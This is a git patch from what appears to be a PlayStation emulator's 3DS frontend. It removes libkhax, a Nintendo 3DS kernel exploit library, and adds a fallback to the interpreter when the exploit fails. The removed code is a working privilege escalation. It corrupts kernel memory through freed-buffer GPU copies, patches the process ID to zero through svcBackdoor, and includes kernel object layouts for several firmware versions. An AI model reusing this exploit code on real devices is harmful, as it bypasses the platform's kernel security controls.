return 0; -} - -//------------------------------------------------------------------------------------------------ -// Grant access to all services. -Result KHAX::MemChunkHax::Step7_GrantServiceAccess() -{ - // Backup the original PID. - Result result = svcGetProcessId(&m_originalPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - KHAX_printf("Step7:GetPID1 fail:%08lx\n", result); - return result; - } - - KHAX_printf("Step7:current pid=%lu\n", m_originalPID); - - // Patch the PID to 0, granting access to all services. - svcBackdoor(Step7a_PatchPID); - - // Check whether PID patching succeeded. - u32 newPID; - result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - // Attempt patching back anyway, for stability reasons. - svcBackdoor(Step7b_UnpatchPID); - KHAX_printf("Step7:GetPID2 fail:%08lx\n", result); - return result; - } - - if (newPID != 0) - { - KHAX_printf("Step7:nonzero:%lu\n", newPID); - return MakeError(27, 11, KHAX_MODULE, 1023); - } - - // Reinit ctrulib's srv connection to gain access to all services. - srvExit(); - srvInit(); - - // Restore the original PID now that srv has been tricked into thinking that we're PID 0. - svcBackdoor(Step7b_UnpatchPID); - - // Check whether PID restoring succeeded. - result = svcGetProcessId(&newPID, m_versionData->m_currentKProcessHandle); - if (result != 0) - { - KHAX_printf("Step7:GetPID3 fail:%08lx\n", result); - return result; - } - - if (newPID != m_originalPID) - { - KHAX_printf("Step7:not same:%lu\n", newPID); - return MakeError(27, 11, KHAX_MODULE, 1023); - } - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Patch the PID to 0. -Result KHAX::MemChunkHax::Step7a_PatchPID() -{ - // Disable interrupts ASAP. - // FIXME: Need a better solution for this. - __asm__ volatile("cpsid aif"); - - // Patch the PID to 0. The version data has a function pointer in m_makeKProcessPointers - // to translate the raw KProcess pointer into pointers into key fields, and we access the - // m_processID field from it. - *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) - .m_processID) = 0; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Restore the original PID. -Result KHAX::MemChunkHax::Step7b_UnpatchPID() -{ - // Disable interrupts ASAP. - // FIXME: Need a better solution for this. - __asm__ volatile("cpsid aif"); - - // Patch the PID back to the original value. - *(s_instance->m_versionData->m_makeKProcessPointers(*s_instance->m_versionData->m_currentKProcessPtr) - .m_processID) = s_instance->m_originalPID; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Helper for dumping memory to SD card. -template -bool KHAX::MemChunkHax::DumpMemberToSDCard(const unsigned char(MemChunkHax::*member)[S], const char *filename) const -{ - char formatted[32]; - snprintf(formatted, KHAX_lengthof(formatted), filename, - static_cast(m_versionData->m_kernelVersion), m_versionData->m_new3DS ? - "New" : "Old"); - - bool result = true; - - FILE *file = std::fopen(formatted, "wb"); - if (file) - { - result = result && (std::fwrite(this->*member, 1, sizeof(this->*member), file) == 1); - std::fclose(file); - } - else - { - result = false; - } - - return result; -} - -//------------------------------------------------------------------------------------------------ -// Free memory and such. -KHAX::MemChunkHax::~MemChunkHax() -{ - // Dump memory to SD card if that is enabled. -#ifdef KHAX_DEBUG_DUMP_DATA - if (m_nextStep > 6) - { - DumpMemberToSDCard(&MemChunkHax::m_savedKProcess, "KProcess-%08X-%s.bin"); - DumpMemberToSDCard(&MemChunkHax::m_savedKThread, "KThread-%08X-%s.bin"); - DumpMemberToSDCard(&MemChunkHax::m_savedThreadSVC, "ThreadSVC-%08X-%s.bin"); - } -#endif - - // If we're corrupted, we're dead. - if (m_corrupted > 0) - { - KHAX_printf("~:error while corrupt;freezing\n"); - for (;;) - { - svcSleepThread(s64(60) * 1000000000); - } - } - - // This function has to be careful not to crash trying to shut down after an aborted attempt. - if (m_overwriteMemory) - { - u32 dummy; - - // Each page has a flag indicating that it is still allocated. - for (unsigned x = 0; x < KHAX_lengthof(m_overwriteMemory->m_pages); ++x) - { - // Don't free a page unless it remains allocated. - if (m_overwriteAllocated & (1u << x)) - { - Result res = svcControlMemory(&dummy, reinterpret_cast(&m_overwriteMemory->m_pages[x]), 0, - sizeof(m_overwriteMemory->m_pages[x]), MEMOP_FREE, static_cast(0)); - KHAX_printf("free %u: %08lx\n", x, res); - } - } - } - - // Free the extra linear memory. - if (m_extraLinear) - { - linearFree(m_extraLinear); - } - - // s_instance better be us - if (s_instance != this) - { - KHAX_printf("~:s_instance is wrong\n"); - } - else - { - s_instance = nullptr; - } -} - - -//------------------------------------------------------------------------------------------------ -// -// Miscellaneous -// - -//------------------------------------------------------------------------------------------------ -// Make an error code -inline Result KHAX::MakeError(Result level, Result summary, Result module, Result error) -{ - return (level << 27) + (summary << 21) + (module << 10) + error; -} - -//------------------------------------------------------------------------------------------------ -// Check whether this system is a New 3DS. -Result KHAX::IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown) -{ - // If the kernel version isn't already known by the caller, find out. - u32 kernelVersion = kernelVersionAlreadyKnown; - if (kernelVersion == 0) - { - kernelVersion = osGetKernelVersion(); - } - - // APT_CheckNew3DS doesn't work on < 8.0.0, but neither do such New 3DS's exist. - if (kernelVersion >= SYSTEM_VERSION(2, 44, 6)) - { - // Check whether the system is a New 3DS. If this fails, abort, because being wrong would - // crash the system. - u8 isNew3DS = 0; - if (Result error = APT_CheckNew3DS(nullptr, &isNew3DS)) - { - *answer = false; - return error; - } - - // Use the result of APT_CheckNew3DS. - *answer = isNew3DS != 0; - return 0; - } - - // Kernel is older than 8.0.0, so we logically conclude that this cannot be a New 3DS. - *answer = false; - return 0; -} - -//------------------------------------------------------------------------------------------------ -// gspwn, meant for reading from or writing to freed buffers. -Result KHAX::GSPwn(void *dest, const void *src, std::size_t size, bool wait) -{ - // Attempt a flush of the source, but ignore the result, since we may have just been asked to - // read unmapped memory or something similar. - GSPGPU_FlushDataCache(nullptr, static_cast(const_cast(src)), size); - - // Invalidate the destination's cache, since we're about to overwrite it. Likewise, ignore - // errors, since it may be the destination that is an unmapped address. - GSPGPU_InvalidateDataCache(nullptr, static_cast(dest), size); - - // Copy that floppy. - if (Result result = GX_SetTextureCopy(nullptr, static_cast(const_cast(src)), 0, - static_cast(dest), 0, size, 8)) - { - KHAX_printf("gspwn:copy fail:%08lx\n", result); - return result; - } - - // Wait for the operation to finish. - if (wait) - { - gspWaitForPPF(); - } - - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Given a pointer to a structure that is a member of another structure, -// return a pointer to the outer structure. Inspired by Windows macro. -template -Outer *KHAX::ContainingRecord(Inner *member, Inner Outer::*field) -{ - unsigned char *p = reinterpret_cast(member); - p -= reinterpret_cast(&(static_cast(nullptr)->*field)); - return reinterpret_cast(p); -} - -//------------------------------------------------------------------------------------------------ -// Main initialization function interface. -extern "C" Result khaxInit() -{ - using namespace KHAX; - -#ifdef KHAX_DEBUG - bool isNew3DS; - IsNew3DS(&isNew3DS, 0); - KHAX_printf("khaxInit: k=%08lx f=%08lx n=%d\n", osGetKernelVersion(), osGetFirmVersion(), - isNew3DS); -#endif - - // Look up the current system's version in our table. - const VersionData *versionData = VersionData::GetForCurrentSystem(); - if (!versionData) - { - KHAX_printf("khaxInit: Unknown kernel version\n"); - return MakeError(27, 6, KHAX_MODULE, 39); - } - - KHAX_printf("verdat t=%08lx s=%08lx v=%08lx\n", versionData->m_threadPatchAddress, - versionData->m_syscallPatchAddress, versionData->m_fcramVirtualAddress); - - // Create the hack object. - MemChunkHax hax{ versionData }; - - // Run through the steps. - if (Result result = hax.Step1_Initialize()) - { - KHAX_printf("khaxInit: Step1 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step2_AllocateMemory()) - { - KHAX_printf("khaxInit: Step2 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step3_SurroundFree()) - { - KHAX_printf("khaxInit: Step3 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step4_VerifyExpectedLayout()) - { - KHAX_printf("khaxInit: Step4 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step5_CorruptCreateThread()) - { - KHAX_printf("khaxInit: Step5 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step6_ExecuteSVCCode()) - { - KHAX_printf("khaxInit: Step6 failed: %08lx\n", result); - return result; - } - if (Result result = hax.Step7_GrantServiceAccess()) - { - KHAX_printf("khaxInit: Step7 failed: %08lx\n", result); - return result; - } - - KHAX_printf("khaxInit: done\n"); - return 0; -} - -//------------------------------------------------------------------------------------------------ -// Shut down libkhax. Doesn't actually do anything at the moment, since khaxInit does everything -// and frees all memory on the way out. -extern "C" Result khaxExit() -{ - return 0; -} diff --git a/frontend/3ds/libkhax/khaxinternal.h b/frontend/3ds/libkhax/khaxinternal.h deleted file mode 100644 index 5d83eab5..00000000 --- a/frontend/3ds/libkhax/khaxinternal.h +++ /dev/null @@ -1,339 +0,0 @@ -#pragma once - -#define KHAX_DEBUG -//#define KHAX_DEBUG_DUMP_DATA - -#ifdef KHAX_DEBUG - #define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers() -#else - #define KHAX_printf static_cast -#endif - -// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never -// actually compile this program. -#ifdef _MSC_VER - #undef ALIGN - #define ALIGN(x) __declspec(align(x)) - #if _MSC_VER < 1900 - #define alignof __alignof - #endif - #define KHAX_ATTRIBUTE(...) -#else - #define KHAX_ATTRIBUTE(...) __VA_ARGS__ -#endif - -#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0])) - -//------------------------------------------------------------------------------------------------ -namespace KHAX -{ - //------------------------------------------------------------------------------------------------ - // This code uses offsetof illegally (i.e. on polymorphic classes). - #pragma GCC diagnostic push - #pragma GCC diagnostic ignored "-Winvalid-offsetof" - - //------------------------------------------------------------------------------------------------ - // General linked list node kernel object. - struct KLinkedListNode - { - KLinkedListNode *next; - KLinkedListNode *prev; - void *data; - }; - static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // Base class of reference-counted kernel objects. - class KAutoObject - { - public: - u32 m_refCount; // +004 - - protected: - virtual ~KAutoObject() {} - }; - static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size."); - static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Base class of synchronizable objects. - class KSynchronizationObject : public KAutoObject - { - public: - u32 m_threadSyncCount; // +008 - KLinkedListNode *m_threadSyncFirst; // +00C - KLinkedListNode *m_threadSyncLast; // +010 - }; - static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size."); - static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008, - "KSynchronizationObject isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - struct KDebugThread; - struct KThreadLocalPage; - class KCodeSet; - - //------------------------------------------------------------------------------------------------ - // Unofficial name - typedef u8 KSVCACL[0x80 / 8]; - - //------------------------------------------------------------------------------------------------ - // ARM VFP register - union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister - { - float m_single[2]; - double m_double; - }; - static_assert(alignof(VFPRegister) == 0x004, - "VFPRegister isn't the expected alignment."); - static_assert(sizeof(VFPRegister) == 0x008, - "VFPRegister isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // SVC-mode register save area. - // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 - struct SVCRegisterState - { - u32 m_r4; // +000 - u32 m_r5; // +004 - u32 m_r6; // +008 - u32 m_r7; // +00C - u32 m_r8; // +010 - u32 m_r9; // +014 - u32 m_sl; // +018 - u32 m_fp; // +01C - u32 m_sp; // +020 - u32 m_lr; // +024 - }; - static_assert(sizeof(SVCRegisterState) == 0x028, - "SVCRegisterState isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // SVC-mode thread state structure. This is the last part of the per- - // thread page allocated in 0xFF4XX000. - // http://3dbrew.org/wiki/Memory_layout#0xFF4XX000 - struct SVCThreadArea - { - KSVCACL m_svcAccessControl; // +000 - u32 m_unknown010; // +010 - u32 m_unknown014; // +014 - SVCRegisterState m_svcRegisterState; // +018 - VFPRegister m_vfpRegisters[16]; // +040 - u32 m_unknown0C4; // +0C0 - u32 m_fpexc; // +0C4 - }; - static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018, - "ThreadSVCArea isn't the expected layout."); - static_assert(sizeof(SVCThreadArea) == 0x0C8, - "ThreadSVCArea isn't the expected size."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a thread object. - class KThread : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - u32 m_unknown01C; // +01C - u32 m_unknown020; // +020 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_unknown02C; // +02C - u32 m_unknown030; // +030 - u32 m_unknown034; // +034 - KDebugThread *m_debugThread; // +038 - s32 m_threadPriority; // +03C - void *m_waitingOnObject; // +040 - u32 m_unknown044; // +044 - KThread **m_schedulerUnknown048; // +048 - void *m_arbitrationAddress; // +04C - u32 m_unknown050; // +050 - u32 m_unknown054; // +054 - u32 m_unknown058; // +058 - KLinkedListNode *m_waitingOnList; // +05C - u32 m_unknownListCount; // +060 - KLinkedListNode *m_unknownListHead; // +064 - KLinkedListNode *m_unknownListTail; // +068 - s32 m_threadPriority2; // +06C - s32 m_creatingProcessor; // +070 - u32 m_unknown074; // +074 - u32 m_unknown078; // +078 - u16 m_unknown07C; // +07C - u8 m_threadType; // +07E - u8 m_padding07F; // +07F - void *m_process; // +080 - u32 m_threadID; // +084 - SVCRegisterState *m_svcRegisterState; // +088 - void *m_svcPageEnd; // +08C - s32 m_idealProcessor; // +090 - void *m_tlsUserMode; // +094 - void *m_tlsKernelMode; // +098 - u32 m_unknown09C; // +09C - KThread *m_prev; // +0A0 - KThread *m_next; // +0A4 - KThread **m_temporaryLinkedList; // +0A8 - u32 m_unknown0AC; // +0B0 - }; - static_assert(sizeof(KThread) == 0x0B0, - "KThread isn't the expected size."); - static_assert(offsetof(KThread, m_svcRegisterState) == 0x088, - "KThread isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // Version 1.0.0(?) - 7.2.0 - class KProcess_1_0_0_Old : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_memoryBlockCount; // +02C - KLinkedListNode *m_memoryBlockFirst; // +030 - KLinkedListNode *m_memoryBlockLast; // +034 - u32 m_unknown038; // +038 - u32 m_unknown03C; // +03C - void *m_translationTableBase; // +040 - u8 m_contextID; // +044 - u32 m_unknown048; // +048 - u32 m_unknown04C; // +04C - u32 m_mmuTableSize; // +050 - void *m_mmuTableAddress; // +054 - u32 m_threadContextPagesSize; // +058 - u32 m_threadLocalPageCount; // +05C - KLinkedListNode *m_threadLocalPageFirst; // +060 - KLinkedListNode *m_threadLocalPageLast; // +064 - u32 m_unknown068; // +068 - s32 m_idealProcessor; // +06C - u32 m_unknown070; // +070 - void *m_resourceLimits; // +074 - u8 m_unknown078; // +078 - u8 m_affinityMask; // +079 - u32 m_threadCount; // +07C - KSVCACL m_svcAccessControl; // +080 - u32 m_interruptFlags[0x80 / 32]; // +090 - u32 m_kernelFlags; // +0A0 - u16 m_handleTableSize; // +0A4 - u16 m_kernelReleaseVersion; // +0A6 - KCodeSet *m_codeSet; // +0A8 - u32 m_processID; // +0AC - u32 m_kernelFlags2; // +0B0 - u32 m_unknown0B4; // +0B4 - KThread *m_mainThread; // +0B8 - //...more... - }; - static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080, - "KProcess_1_0_0_Old isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // Old 3DS Version 8.0.0 - 9.5.0... - class KProcess_8_0_0_Old : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_memoryBlockCount; // +02C - KLinkedListNode *m_memoryBlockFirst; // +030 - KLinkedListNode *m_memoryBlockLast; // +034 - u32 m_unknown038; // +038 - u32 m_unknown03C; // +03C - void *m_translationTableBase; // +040 - u8 m_contextID; // +044 - u32 m_unknown048; // +048 - void *m_userVirtualMemoryEnd; // +04C - void *m_userLinearVirtualBase; // +050 - u32 m_unknown054; // +054 - u32 m_mmuTableSize; // +058 - void *m_mmuTableAddress; // +05C - u32 m_threadContextPagesSize; // +060 - u32 m_threadLocalPageCount; // +064 - KLinkedListNode *m_threadLocalPageFirst; // +068 - KLinkedListNode *m_threadLocalPageLast; // +06C - u32 m_unknown070; // +070 - s32 m_idealProcessor; // +074 - u32 m_unknown078; // +078 - void *m_resourceLimits; // +07C - u32 m_unknown080; // +080 - u32 m_threadCount; // +084 - u8 m_svcAccessControl[0x80 / 8]; // +088 - u32 m_interruptFlags[0x80 / 32]; // +098 - u32 m_kernelFlags; // +0A8 - u16 m_handleTableSize; // +0AC - u16 m_kernelReleaseVersion; // +0AE - KCodeSet *m_codeSet; // +0B0 - u32 m_processID; // +0B4 - u32 m_unknown0B8; // +0B8 - u32 m_unknown0BC; // +0BC - KThread *m_mainThread; // +0C0 - //...more... - }; - static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088, - "KProcess_8_0_0_Old isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Kernel's internal structure of a process object. - // New 3DS Version 8.0.0 - 9.5.0... - class KProcess_8_0_0_New : public KSynchronizationObject - { - public: - u32 m_unknown014; // +014 - u32 m_unknown018; // +018 - KThread *volatile m_interactingThread; // +01C - u16 m_unknown020; // +020 - u16 m_unknown022; // +022 - u32 m_unknown024; // +024 - u32 m_unknown028; // +028 - u32 m_unknown02C; // +02C new to New 3DS - u32 m_unknown030; // +030 new to New 3DS - u32 m_memoryBlockCount; // +034 - KLinkedListNode *m_memoryBlockFirst; // +038 - KLinkedListNode *m_memoryBlockLast; // +03C - u32 m_unknown040; // +040 - u32 m_unknown044; // +044 - void *m_translationTableBase; // +048 - u8 m_contextID; // +04C - u32 m_unknown050; // +050 - void *m_userVirtualMemoryEnd; // +054 - void *m_userLinearVirtualBase; // +058 - u32 m_unknown05C; // +05C - u32 m_mmuTableSize; // +060 - void *m_mmuTableAddress; // +064 - u32 m_threadContextPagesSize; // +068 - u32 m_threadLocalPageCount; // +06C - KLinkedListNode *m_threadLocalPageFirst; // +070 - KLinkedListNode *m_threadLocalPageLast; // +074 - u32 m_unknown078; // +078 - s32 m_idealProcessor; // +07C - u32 m_unknown080; // +080 - void *m_resourceLimits; // +084 - u32 m_unknown088; // +088 - u32 m_threadCount; // +08C - u8 m_svcAccessControl[0x80 / 8]; // +090 - u32 m_interruptFlags[0x80 / 32]; // +0A0 - u32 m_kernelFlags; // +0B0 - u16 m_handleTableSize; // +0B4 - u16 m_kernelReleaseVersion; // +0B6 - KCodeSet *m_codeSet; // +0B8 - u32 m_processID; // +0BC - u32 m_unknown0C0; // +0C0 - u32 m_unknown0C4; // +0C4 - KThread *m_mainThread; // +0C8 - //...more... - }; - static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090, - "KProcess_8_0_0_New isn't the expected layout."); - - //------------------------------------------------------------------------------------------------ - // Done using illegal offsetof - #pragma GCC diagnostic pop -} diff --git a/frontend/libretro.c b/frontend/libretro.c index 7243db13..d834579a 100644 --- a/frontend/libretro.c +++ b/frontend/libretro.c @@ -1330,6 +1330,11 @@ void retro_init(void) psxUnmapHook = pl_3ds_munmap; #endif ret = emu_core_preinit(); +#ifdef _3DS + /* emu_core_preinit sets the cpu to dynarec */ + if(!ctr_svchack_init_success) + Config.Cpu = CPU_INTERPRETER; +#endif ret |= emu_core_init(); if (ret != 0) { SysPrintf("PCSX init failed.\n"); -- 2.39.2